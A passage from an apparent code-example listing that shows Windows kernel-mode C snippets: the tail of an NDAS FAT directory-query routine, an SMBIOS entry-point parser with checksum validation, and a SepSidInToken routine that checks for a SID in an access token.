
		secondaryRequest->RequestType = SECONDARY_REQ_SEND_MESSAGE;
		QueueingSecondaryRequest( volDo->Secondary, secondaryRequest );

		timeOut.QuadPart = -NDASFAT_TIME_OUT;		
		Status = KeWaitForSingleObject( &secondaryRequest->CompleteEvent, Executive, KernelMode, FALSE, &timeOut );
		
		KeClearEvent( &secondaryRequest->CompleteEvent );

		if (Status != STATUS_SUCCESS) {

			secondaryRequest = NULL;
			try_return( Status = STATUS_IO_DEVICE_ERROR );
		}

		SecondaryReleaseResourceLite( IrpContext, &volDo->SessionResource );		
		secondarySessionResourceAcquired = FALSE;

		if (secondaryRequest->ExecuteStatus != STATUS_SUCCESS) {

			if (IrpContext->OriginatingIrp)
				PrintIrp( Dbg2, "secondaryRequest->ExecuteStatus != STATUS_SUCCESS", NULL, IrpContext->OriginatingIrp );
			DebugTrace2( 0, Dbg2, ("secondaryRequest->ExecuteStatus != STATUS_SUCCESS file = %s, line = %d\n", __FILE__, __LINE__) );

			NDASFAT_ASSERT( FlagOn(IrpContext->Flags, IRP_CONTEXT_FLAG_WAIT) );
			SetFlag( IrpContext->NdasFatFlags, NDAS_FAT_IRP_CONTEXT_FLAG_DONT_POST_REQUEST );
			FatRaiseStatus( IrpContext, STATUS_CANT_WAIT );
		}

		ndfsWinxpReplytHeader = (PNDFS_WINXP_REPLY_HEADER)secondaryRequest->NdfsReplyData;
		Status = Irp->IoStatus.Status = ndfsWinxpReplytHeader->Status;
		Irp->IoStatus.Information = ndfsWinxpReplytHeader->Information;
		
		returnedDataSize = secondaryRequest->NdfsReplyHeader.MessageSize - sizeof(NDFS_REPLY_HEADER) - sizeof(NDFS_WINXP_REPLY_HEADER);

		if (returnedDataSize) {

			ASSERT( ndfsWinxpReplytHeader->Information != 0 );
			ASSERT(returnedDataSize <= ADD_ALIGN8(queryDirectory.Length));
			ASSERT( Buffer );

			RtlCopyMemory( Buffer,
						   (_U8 *)(ndfsWinxpReplytHeader+1),
						   (returnedDataSize < queryDirectory.Length) ? returnedDataSize : queryDirectory.Length );
		}

#endif

#if 0

        //
        //  Make sure the Dcb is still good.
        //

        FatVerifyFcb( IrpContext, Dcb );

        //
        //  Determine where to start the scan.  Highest priority is given
        //  to the file index.  Lower priority is the restart flag.  If
        //  neither of these is specified, then the Vbo offset field in the
        //  Ccb is used.
        //

        if (IndexSpecified) {

            CurrentVbo = FileIndex + sizeof( DIRENT );

        } else if (RestartScan) {

            CurrentVbo = 0;

        } else {

            CurrentVbo = Ccb->OffsetToStartSearchFrom;

        }

        //
        //  If this is the first try then allocate a buffer for the file
        //  name.
        //

        if (InitialQuery) {

            //
            //  If either:
            //
            //  - No name was specified
            //  - An empty name was specified
            //  - We received a '*'
            //  - The user specified the DOS equivolent of ????????.???
            //
            //  then match all names.
            //

            if ((UniArgFileName == NULL) ||
                (UniArgFileName->Length == 0) ||
                (UniArgFileName->Buffer == NULL) ||
                ((UniArgFileName->Length == sizeof(WCHAR)) &&
                 (UniArgFileName->Buffer[0] == L'*')) ||
                ((UniArgFileName->Length == 12*sizeof(WCHAR)) &&
                 (RtlEqualMemory( UniArgFileName->Buffer,
                                  Fat8QMdot3QM,
                                  12*sizeof(WCHAR) )))) {

                Ccb->ContainsWildCards = TRUE;

                SetFlag( Ccb->Flags, CCB_FLAG_MATCH_ALL );

            } else {

                BOOLEAN ExtendedName = FALSE;
                OEM_STRING LocalBestFit;

                //
                //  First and formost, see if the name has wild cards.
                //

                Ccb->ContainsWildCards =
                    FsRtlDoesNameContainWildCards( UniArgFileName );

                //
                //  Now check to see if the name contains any extended
                //  characters
                //

                for (i=0; i < UniArgFileName->Length / sizeof(WCHAR); i++) {

                    if (UniArgFileName->Buffer[i] >= 0x80) {

                        ExtendedName = TRUE;
                        break;
                    }
                }

                //
                //  OK, now do the conversions we need.
                //

                if (ExtendedName) {

                    Status = RtlUpcaseUnicodeString( &Ccb->UnicodeQueryTemplate,
                                                     UniArgFileName,
                                                     TRUE );

                    if (!NT_SUCCESS(Status)) {

                        try_return( Status );
                    }

                    SetFlag( Ccb->Flags, CCB_FLAG_FREE_UNICODE );

                    //
                    //  Upcase the name and convert it to the Oem code page.
                    //

                    Status = RtlUpcaseUnicodeStringToCountedOemString( &LocalBestFit,
                                                                       UniArgFileName,
                                                                       TRUE );

                    //
                    //  If this conversion failed for any reason other than
                    //  an unmappable character fail the request.
                    //

                    if (!NT_SUCCESS(Status)) {

                        if (Status == STATUS_UNMAPPABLE_CHARACTER) {

                            SetFlag( Ccb->Flags, CCB_FLAG_SKIP_SHORT_NAME_COMPARE );

                        } else {

                            try_return( Status );
                        }

                    } else {

                        SetFlag( Ccb->Flags, CCB_FLAG_FREE_OEM_BEST_FIT );
                    }

                } else {

                    PVOID Buffers;

                    //
                    //  This case is optimized because I know I only have to
                    //  worry about a-z.
                    //

                    Buffers = FsRtlAllocatePoolWithTag( PagedPool,
                                                        UniArgFileName->Length +
                                                        UniArgFileName->Length / sizeof(WCHAR),
                                                        TAG_FILENAME_BUFFER );

                    Ccb->UnicodeQueryTemplate.Buffer = Buffers;
                    Ccb->UnicodeQueryTemplate.Length = UniArgFileName->Length;
                    Ccb->UnicodeQueryTemplate.MaximumLength = UniArgFileName->Length;

                    LocalBestFit.Buffer = (PUCHAR)Buffers + UniArgFileName->Length;
                    LocalBestFit.Length = UniArgFileName->Length / sizeof(WCHAR);
                    LocalBestFit.MaximumLength = LocalBestFit.Length;

                    SetFlag( Ccb->Flags, CCB_FLAG_FREE_UNICODE );

                    for (i=0; i < UniArgFileName->Length / sizeof(WCHAR); i++) {

                        WCHAR c = UniArgFileName->Buffer[i];

                        LocalBestFit.Buffer[i] = (UCHAR)
                        (Ccb->UnicodeQueryTemplate.Buffer[i] =
                             (c < 'a' ? c : c <= 'z' ? c - ('a' - 'A') : c));
                    }
                }

                //
                //  At this point we now have the upcased unicode name,
                //  and the two Oem names if they could be represented in
                //  this code page.
                //
                //  Now determine if the Oem names are legal for what we
                //  going to try and do.  Mark them as not usable is they
                //  are not legal.  Note that we can optimize extended names
                //  since they are actually both the same string.
                //

                if (!FlagOn( Ccb->Flags, CCB_FLAG_SKIP_SHORT_NAME_COMPARE ) &&
                    !FatIsNameShortOemValid( IrpContext,
                                             LocalBestFit,
                                             Ccb->ContainsWildCards,
                                             FALSE,
                                             FALSE )) {

                    if (ExtendedName) {

                        RtlFreeOemString( &LocalBestFit );
                        ClearFlag( Ccb->Flags, CCB_FLAG_FREE_OEM_BEST_FIT );
                    }

                    SetFlag( Ccb->Flags, CCB_FLAG_SKIP_SHORT_NAME_COMPARE );
                }

                //
                //  OK, now both locals oem strings correctly reflect their
                //  usability.  Now we want to load up the Ccb structure.
                //
                //  Now we will branch on two paths of wheather the name
                //  is wild or not.
                //

                if (!FlagOn( Ccb->Flags, CCB_FLAG_SKIP_SHORT_NAME_COMPARE )) {

                    if (Ccb->ContainsWildCards) {

                        Ccb->OemQueryTemplate.Wild = LocalBestFit;

                    } else {

                        FatStringTo8dot3( IrpContext,
                                          LocalBestFit,
                                          &Ccb->OemQueryTemplate.Constant );

                        if (FlagOn(Ccb->Flags, CCB_FLAG_FREE_OEM_BEST_FIT)) {

                            RtlFreeOemString( &LocalBestFit );
                            ClearFlag( Ccb->Flags, CCB_FLAG_FREE_OEM_BEST_FIT );
                        }
                    }
                }
            }

            //
            //  We convert to shared access.
            //

            FatConvertToSharedFcb( IrpContext, Dcb );
        }

        LastEntry = 0;
        NextEntry = 0;

        switch (FileInformationClass) {

        case FileDirectoryInformation:

            BaseLength = FIELD_OFFSET( FILE_DIRECTORY_INFORMATION,
                                       FileName[0] );
            break;

        case FileFullDirectoryInformation:

            BaseLength = FIELD_OFFSET( FILE_FULL_DIR_INFORMATION,
                                       FileName[0] );
            break;

        case FileIdFullDirectoryInformation:

            BaseLength = FIELD_OFFSET( FILE_ID_FULL_DIR_INFORMATION,
                                       FileName[0] );
            break;

        case FileNamesInformation:

            BaseLength = FIELD_OFFSET( FILE_NAMES_INFORMATION,
                                       FileName[0] );
            break;

        case FileBothDirectoryInformation:

            BaseLength = FIELD_OFFSET( FILE_BOTH_DIR_INFORMATION,
                                       FileName[0] );
            break;

        case FileIdBothDirectoryInformation:

            BaseLength = FIELD_OFFSET( FILE_ID_BOTH_DIR_INFORMATION,
                                       FileName[0] );
            break;

        default:

            try_return( Status = STATUS_INVALID_INFO_CLASS );
        }

        //
        //  At this point we are about to enter our query loop.  We have
        //  determined the index into the directory file to begin the
        //  search.  LastEntry and NextEntry are used to index into the user
        //  buffer.  LastEntry is the last entry we've added, NextEntry is
        //  current one we're working on.  If NextEntry is non-zero, then
        //  at least one entry was added.
        //

        while ( TRUE ) {

            VBO NextVbo;
            ULONG FileNameLength;
            ULONG BytesRemainingInBuffer;


            DebugTrace(0, Dbg, "FatQueryDirectory -> Top of loop\n", 0);

            //
            //  If the user had requested only a single match and we have
            //  returned that, then we stop at this point.
            //

            if (ReturnSingleEntry && NextEntry != 0) {

                try_return( Status );
            }

            //
            //  We call FatLocateDirent to lock down the next matching dirent.
            //

            FatLocateDirent( IrpContext,
                             Dcb,
                             Ccb,
                             CurrentVbo,
                             &Dirent,
                             &Bcb,
                             &NextVbo,
                             NULL,
                             &LongFileName);

            //
            //  If we didn't receive a dirent, then we are at the end of the
            //  directory.  If we have returned any files, we exit with
            //  success, otherwise we return STATUS_NO_MORE_FILES.
            //

            if (!Dirent) {

                DebugTrace(0, Dbg, "FatQueryDirectory -> No dirent\n", 0);

                if (NextEntry == 0) {

                    UpdateCcb = FALSE;

                    if (InitialQuery) {

                        Status = STATUS_NO_SUCH_FILE;

                    } else {

                        Status = STATUS_NO_MORE_FILES;
                    }
                }

                try_return( Status );
            }

            //
            //  Protect access to the user buffer with an exception handler.
            //  Since (at our request) IO doesn't buffer these requests, we have
            //  to guard against a user messing with the page protection and other
            //  such trickery.
            //
            
            try {
                
                if (LongFileName.Length == 0) {

                    //
                    //  Now we have an entry to return to our caller.  We'll convert
                    //  the name from the form in the dirent to a <name>.<ext> form.
                    //  We'll case on the type of information requested and fill up
                    //  the user buffer if everything fits.
                    //

                    Fat8dot3ToString( IrpContext, Dirent, TRUE, &Fat8Dot3String );
    
                    //
                    //  Determine the UNICODE length of the file name.
                    //
    
                    FileNameLength = RtlOemStringToCountedUnicodeSize(&Fat8Dot3String);

                    //
                    //  Here are the rules concerning filling up the buffer:
                    //
                    //  1.  The Io system garentees that there will always be
                    //      enough room for at least one base record.
                    //
                    //  2.  If the full first record (including file name) cannot
                    //      fit, as much of the name as possible is copied and
                    //      STATUS_BUFFER_OVERFLOW is returned.
                    //
                    //  3.  If a subsequent record cannot completely fit into the
                    //      buffer, none of it (as in 0 bytes) is copied, and
                    //      STATUS_SUCCESS is returned.  A subsequent query will
                    //      pick up with this record.
                    //
    
                    BytesRemainingInBuffer = UserBufferLength - NextEntry;
    
                    if ( (NextEntry != 0) &&
                         ( (BaseLength + FileNameLength > BytesRemainingInBuffer) ||
                           (UserBufferLength < NextEntry) ) ) {
    
                        DebugTrace(0, Dbg, "Next entry won't fit\n", 0);
    
                        try_return( Status = STATUS_SUCCESS );
                    }
    
                    ASSERT( BytesRemainingInBuffer >= BaseLength );

                    //
                    //  Zero the base part of the structure.
                    //

                    RtlZeroMemory( &Buffer[NextEntry], BaseLength );

                    switch ( FileInformationClass ) {
    
                    //
                    //  Now fill the base parts of the strucure that are applicable.
                    //
    
                    case FileBothDirectoryInformation:
                    case FileFullDirectoryInformation:
                    case FileIdBothDirectoryInformation:
                    case FileIdFullDirectoryInformation:

                        DebugTrace(0, Dbg, "FatQueryDirectory -> Getting file full directory information\n", 0);
    
                        //
                        //  Get the Ea file length.
                        //
    
                        FullDirInfo = (PFILE_FULL_DIR_INFORMATION)&Buffer[NextEntry];
    
                        //
                        //  If the EAs are corrupt, ignore the error.  We don't want
                        //  to abort the directory query.
                        //
    
                        try {
    
                            FatGetEaLength( IrpContext,
                                            Vcb,
                                            Dirent,
                                            &FullDirInfo->EaSize );
    
                        } except(EXCEPTION_EXECUTE_HANDLER) {
    
                              FatResetExceptionState( IrpContext );
                              FullDirInfo->EaSize = 0;
                        }
                        
                    case FileDirectoryInformation:
    
                        DirInfo = (PFILE_DIRECTORY_INFORMATION)&Buffer[NextEntry];
    
                        FatGetDirTimes( IrpContext, Dirent, DirInfo );
    
                        DirInfo->EndOfFile.QuadPart = Dirent->FileSize;
    
                        if (!FlagOn( Dirent->Attributes, FAT_DIRENT_ATTR_DIRECTORY )) {
    
                            DirInfo->AllocationSize.QuadPart =
                               (((Dirent->FileSize + DiskAllocSize - 1) / DiskAllocSize) *
                                DiskAllocSize );
                        }
    
                        DirInfo->FileAttributes = Dirent->Attributes != 0 ?
                                                  Dirent->Attributes :
                                                  FILE_ATTRIBUTE_NORMAL;
    
                        DirInfo->FileIndex = NextVbo;
    
                        DirInfo->FileNameLength = FileNameLength;
    
                        DebugTrace(0, Dbg, "FatQueryDirectory -> Name = \"%Z\"\n", &Fat8Dot3String);
    
                        break;
    
                    case FileNamesInformation:
    
                        DebugTrace(0, Dbg, "FatQueryDirectory -> Getting file names information\n", 0);
    
                        NamesInfo = (PFILE_NAMES_INFORMATION)&Buffer[NextEntry];
    
                        NamesInfo->FileIndex = NextVbo;
    
                        NamesInfo->FileNameLength = FileNameLength;
    
                        DebugTrace(0, Dbg, "FatQueryDirectory -> Name = \"%Z\"\n", &Fat8Dot3String );
    
                        break;
    
                    default:
    
                        FatBugCheck( FileInformationClass, 0, 0 );
                    }

                    BytesConverted = 0;
    
                    Status = RtlOemToUnicodeN( (PWCH)&Buffer[NextEntry + BaseLength],
                                               BytesRemainingInBuffer - BaseLength,
                                               &BytesConverted,
                                               Fat8Dot3String.Buffer,
                                               Fat8Dot3String.Length );
                    
                    //
                    //  Check for the case that a single entry doesn't fit.
                    //  This should only get this far on the first entry
                    //
    
                    if (BytesConverted < FileNameLength) {
    
                        ASSERT( NextEntry == 0 );
                        Status = STATUS_BUFFER_OVERFLOW;
                    }
    
                    //
                    //  Set up the previous next entry offset
                    //
    
                    *((PULONG)(&Buffer[LastEntry])) = NextEntry - LastEntry;
    
                    //
                    //  And indicate how much of the user buffer we have currently
                    //  used up.  We must compute this value before we long align
                    //  ourselves for the next entry
                    //
    
                    Irp->IoStatus.Information = QuadAlign( Irp->IoStatus.Information ) +
                                                BaseLength + BytesConverted;
    
                    //
                    //  If something happened with the conversion, bail here.
                    //
    
                    if ( !NT_SUCCESS( Status ) ) {
    
                        try_return( NOTHING );
                    }

                } else {

                    ULONG ShortNameLength;
    
                    FileNameLength = LongFileName.Length;
    
                    //
                    //  Here are the rules concerning filling up the buffer:
                    //
                    //  1.  The Io system garentees that there will always be
                    //      enough room for at least one base record.
                    //
                    //  2.  If the full first record (including file name) cannot
                    //      fit, as much of the name as possible is copied and
                    //      STATUS_BUFFER_OVERFLOW is returned.
                    //
                    //  3.  If a subsequent record cannot completely fit into the
                    //      buffer, none of it (as in 0 bytes) is copied, and
                    //      STATUS_SUCCESS is returned.  A subsequent query will
                    //      pick up with this record.
                    //
    
                    BytesRemainingInBuffer = UserBufferLength - NextEntry;
    
                    if ( (NextEntry != 0) &&
                         ( (BaseLength + FileNameLength > BytesRemainingInBuffer) ||
                           (UserBufferLength < NextEntry) ) ) {
    
                        DebugTrace(0, Dbg, "Next entry won't fit\n", 0);
    
                        try_return( Status = STATUS_SUCCESS );
                    }
    
                    ASSERT( BytesRemainingInBuffer >= BaseLength );
    
                    //
                    //  Zero the base part of the structure.
                    //

                    RtlZeroMemory( &Buffer[NextEntry], BaseLength );

                    switch ( FileInformationClass ) {
    
                    //
                    //  Now fill the base parts of the strucure that are applicable.
                    //
    
                    case FileBothDirectoryInformation:
                    case FileIdBothDirectoryInformation:
    
                        BothDirInfo = (PFILE_BOTH_DIR_INFORMATION)&Buffer[NextEntry];
    
                        //
                        //  Now we have an entry to return to our caller.  We'll convert
                        //  the name from the form in the dirent to a <name>.<ext> form.
                        //  We'll case on the type of information requested and fill up
                        //  the user buffer if everything fits.
                        //
    
                        Fat8dot3ToString( IrpContext, Dirent, FALSE, &Fat8Dot3String );
    
                        ASSERT( Fat8Dot3String.Length <= 12 );
    
                        Status = RtlOemToUnicodeN( &BothDirInfo->ShortName[0],
                                                   12*sizeof(WCHAR),
                                                   &ShortNameLength,
                                                   Fat8Dot3String.Buffer,
                                                   Fat8Dot3String.Length );
    
                        ASSERT( Status != STATUS_BUFFER_OVERFLOW );
                        ASSERT( ShortNameLength <= 12*sizeof(WCHAR) );
    
                        //
                        //  Copy the length into the dirinfo structure.  Note
                        //  that the LHS below is a USHORT, so it can not
                        //  be specificed as the OUT parameter above.
                        //
    
                        BothDirInfo->ShortNameLength = (UCHAR)ShortNameLength;
    
                        //
                        //  If something happened with the conversion, bail here.
                        //
    
                        if ( !NT_SUCCESS( Status ) ) {
    
                            try_return( NOTHING );
                        }
    
                    case FileFullDirectoryInformation:
                    case FileIdFullDirectoryInformation:
    
                        DebugTrace(0, Dbg, "FatQueryDirectory -> Getting file full directory information\n", 0);
    
                        //
                        //  Get the Ea file length.
                        //
    
                        FullDirInfo = (PFILE_FULL_DIR_INFORMATION)&Buffer[NextEntry];
    
                        //
                        //  If the EAs are corrupt, ignore the error.  We don't want
                        //  to abort the directory query.
                        //
    
                        try {
    
                            FatGetEaLength( IrpContext,
                                            Vcb,
                                            Dirent,
                                            &FullDirInfo->EaSize );
    
                        } except(EXCEPTION_EXECUTE_HANDLER) {
    
                              FatResetExceptionState( IrpContext );
                              FullDirInfo->EaSize = 0;
                        }
    
                    case FileDirectoryInformation:
    
                        DirInfo = (PFILE_DIRECTORY_INFORMATION)&Buffer[NextEntry];
    
                        FatGetDirTimes( IrpContext, Dirent, DirInfo );
    
                        DirInfo->EndOfFile.QuadPart = Dirent->FileSize;
    
                        if (!FlagOn( Dirent->Attributes, FAT_DIRENT_ATTR_DIRECTORY )) {
    
                            DirInfo->AllocationSize.QuadPart = (
                                                            (( Dirent->FileSize
                                                               + DiskAllocSize - 1 )
                                                             / DiskAllocSize )
                                                            * DiskAllocSize );
                        }
    
                        DirInfo->FileAttributes = Dirent->Attributes != 0 ?
                                                  Dirent->Attributes :
                                                  FILE_ATTRIBUTE_NORMAL;
    
                        DirInfo->FileIndex = NextVbo;
    
                        DirInfo->FileNameLength = FileNameLength;
    
                        DebugTrace(0, Dbg, "FatQueryDirectory -> Name = \"%Z\"\n", &Fat8Dot3String);
    
                        break;
    
                    case FileNamesInformation:
    
                        DebugTrace(0, Dbg, "FatQueryDirectory -> Getting file names information\n", 0);
    
                        NamesInfo = (PFILE_NAMES_INFORMATION)&Buffer[NextEntry];
    
                        NamesInfo->FileIndex = NextVbo;
    
                        NamesInfo->FileNameLength = FileNameLength;
    
                        DebugTrace(0, Dbg, "FatQueryDirectory -> Name = \"%Z\"\n", &Fat8Dot3String );
    
                        break;
    
                    default:
    
                        FatBugCheck( FileInformationClass, 0, 0 );
                    }

                    BytesConverted = BytesRemainingInBuffer - BaseLength >= FileNameLength ?
                                     FileNameLength :
                                     BytesRemainingInBuffer - BaseLength;
    
                    RtlCopyMemory( &Buffer[NextEntry + BaseLength],
                                   &LongFileName.Buffer[0],
                                   BytesConverted );
    
                    //
                    //  Set up the previous next entry offset
                    //
    
                    *((PULONG)(&Buffer[LastEntry])) = NextEntry - LastEntry;

                    //
                    //  And indicate how much of the user buffer we have currently
                    //  used up.  We must compute this value before we long align
                    //  ourselves for the next entry
                    //
    
                    Irp->IoStatus.Information = QuadAlign( Irp->IoStatus.Information ) +
                                                BaseLength + BytesConverted;

                    //
                    //  Check for the case that a single entry doesn't fit.
                    //  This should only get this far on the first entry.
                    //

                    if (BytesConverted < FileNameLength) {

                        ASSERT( NextEntry == 0 );

                        try_return( Status = STATUS_BUFFER_OVERFLOW );
                    }
                }

                //
                //  Finish up by filling in the FileId
                //

                switch ( FileInformationClass ) {

                case FileIdBothDirectoryInformation:

                    IdBothDirInfo = (PFILE_ID_BOTH_DIR_INFORMATION)&Buffer[NextEntry];
                    IdBothDirInfo->FileId.QuadPart = FatGenerateFileIdFromDirentAndOffset( Dcb, Dirent, NextVbo );
                    break;

                case FileIdFullDirectoryInformation:

                    IdFullDirInfo = (PFILE_ID_FULL_DIR_INFORMATION)&Buffer[NextEntry];
                    IdFullDirInfo->FileId.QuadPart = FatGenerateFileIdFromDirentAndOffset( Dcb, Dirent, NextVbo );
                    break;

                default:
                    break;
                }
            
            }  except (EXCEPTION_EXECUTE_HANDLER) {

                  //
                  //  We had a problem filling in the user's buffer, so stop and
                  //  fail this request.  This is the only reason any exception
                  //  would have occured at this level.
                  //
                  
                  Irp->IoStatus.Information = 0;
                  UpdateCcb = FALSE;
                  try_return( Status = GetExceptionCode());
            }

            //
            //  Set ourselves up for the next iteration
            //

            LastEntry = NextEntry;
            NextEntry += (ULONG)QuadAlign(BaseLength + BytesConverted);

            CurrentVbo = NextVbo + sizeof( DIRENT );
        }

#endif

    try_exit: NOTHING;
    } finally {
Esempio n. 29
0
static
BOOLEAN
GetEntryPointData(
    _In_ const UCHAR *EntryPointAddress,
    _Out_ PULONG64 TableAddress,
    _Out_ PULONG TableSize,
    _Out_ PMSSmBios_RawSMBiosTables BiosTablesHeader)
{
    PSMBIOS21_ENTRY_POINT EntryPoint21;
    PSMBIOS30_ENTRY_POINT EntryPoint30;
    UCHAR Checksum;
    ULONG i;

    /* Check for SMBIOS 2.1 entry point */
    EntryPoint21 = (PSMBIOS21_ENTRY_POINT)EntryPointAddress;
    if (RtlEqualMemory(EntryPoint21->AnchorString, "_SM_", 4))
    {
        if (EntryPoint21->Length > 32)
            return FALSE;

        /* Calculate the checksum */
        Checksum = 0;
        for (i = 0; i < EntryPoint21->Length; i++)
        {
            Checksum += EntryPointAddress[i];
        }

        if (Checksum != 0)
            return FALSE;

        *TableAddress = EntryPoint21->TableAddress;
        *TableSize = EntryPoint21->TableLength;
        BiosTablesHeader->Used20CallingMethod = 0;
        BiosTablesHeader->SmbiosMajorVersion = EntryPoint21->MajorVersion;
        BiosTablesHeader->SmbiosMinorVersion = EntryPoint21->MinorVersion;
        BiosTablesHeader->DmiRevision = 2;
        BiosTablesHeader->Size = EntryPoint21->TableLength;
        return TRUE;
    }

    /* Check for SMBIOS 3.0 entry point */
    EntryPoint30 = (PSMBIOS30_ENTRY_POINT)EntryPointAddress;
    if (RtlEqualMemory(EntryPoint30->AnchorString, "_SM3_", 5))
    {
        if (EntryPoint30->Length > 32)
            return FALSE;

        /* Calculate the checksum */
        Checksum = 0;
        for (i = 0; i < EntryPoint30->Length; i++)
        {
            Checksum += EntryPointAddress[i];
        }

        if (Checksum != 0)
            return FALSE;

        *TableAddress = EntryPoint30->TableAddress;
        *TableSize = EntryPoint30->TableMaxSize;
        BiosTablesHeader->Used20CallingMethod = 0;
        BiosTablesHeader->SmbiosMajorVersion = EntryPoint30->MajorVersion;
        BiosTablesHeader->SmbiosMinorVersion = EntryPoint30->MinorVersion;
        BiosTablesHeader->DmiRevision = 3;
        BiosTablesHeader->Size = EntryPoint30->TableMaxSize;
        return TRUE;
    }

    return FALSE;
}
Esempio n. 30
0
BOOLEAN
SepSidInToken (
    IN PACCESS_TOKEN AToken,
    IN PSID Sid
    )

/*++

Routine Description:

    Checks to see if a given SID is in the given token.

    N.B. The code to compute the length of a SID and test for equality
         is duplicated from the security runtime since this is such a
         frequently used routine.

Arguments:

    Token - Pointer to the token to be examined

    Sid - Pointer to the SID of interest

Return Value:

    A value of TRUE indicates that the SID is in the token, FALSE
    otherwise.

--*/

{

    ULONG i;
    PISID MatchSid;
    ULONG SidLength;
    PTOKEN Token;
    PSID_AND_ATTRIBUTES TokenSid;
    ULONG UserAndGroupCount;

    PAGED_CODE();

#if DBG

    SepDumpTokenInfo(AToken);

#endif

    //
    // Get the length of the source SID since this only needs to be computed
    // once.
    //

    SidLength = 8 + (4 * ((PISID)Sid)->SubAuthorityCount);

    //
    // Get address of user/group array and number of user/groups.
    //

    Token = (PTOKEN)AToken;
    TokenSid = Token->UserAndGroups;
    UserAndGroupCount = Token->UserAndGroupCount;

    //
    // Scan through the user/groups and attempt to find a match with the
    // specified SID.
    //

    for (i = 0 ; i < UserAndGroupCount ; i += 1) {
        MatchSid = (PISID)TokenSid->Sid;

        //
        // If the SID revision and length matches, then compare the SIDs
        // for equality.
        //

        if ((((PISID)Sid)->Revision == MatchSid->Revision) &&
            (SidLength == (8 + (4 * (ULONG)MatchSid->SubAuthorityCount)))) {
            if (RtlEqualMemory(Sid, MatchSid, SidLength)) {

                //
                // If this is the first one in the list, then it is the User,
                // and return success immediately.
                //
                // If this is not the first one, then it represents a group,
                // and we must make sure the group is currently enabled before
                // we can say that the group is "in" the token.
                //

                if ((i == 0) || (TokenSid->Attributes & SE_GROUP_ENABLED)) {
                    return TRUE;

                } else {
                    return FALSE;
                }
            }
        }

        TokenSid += 1;
    }

    return FALSE;
}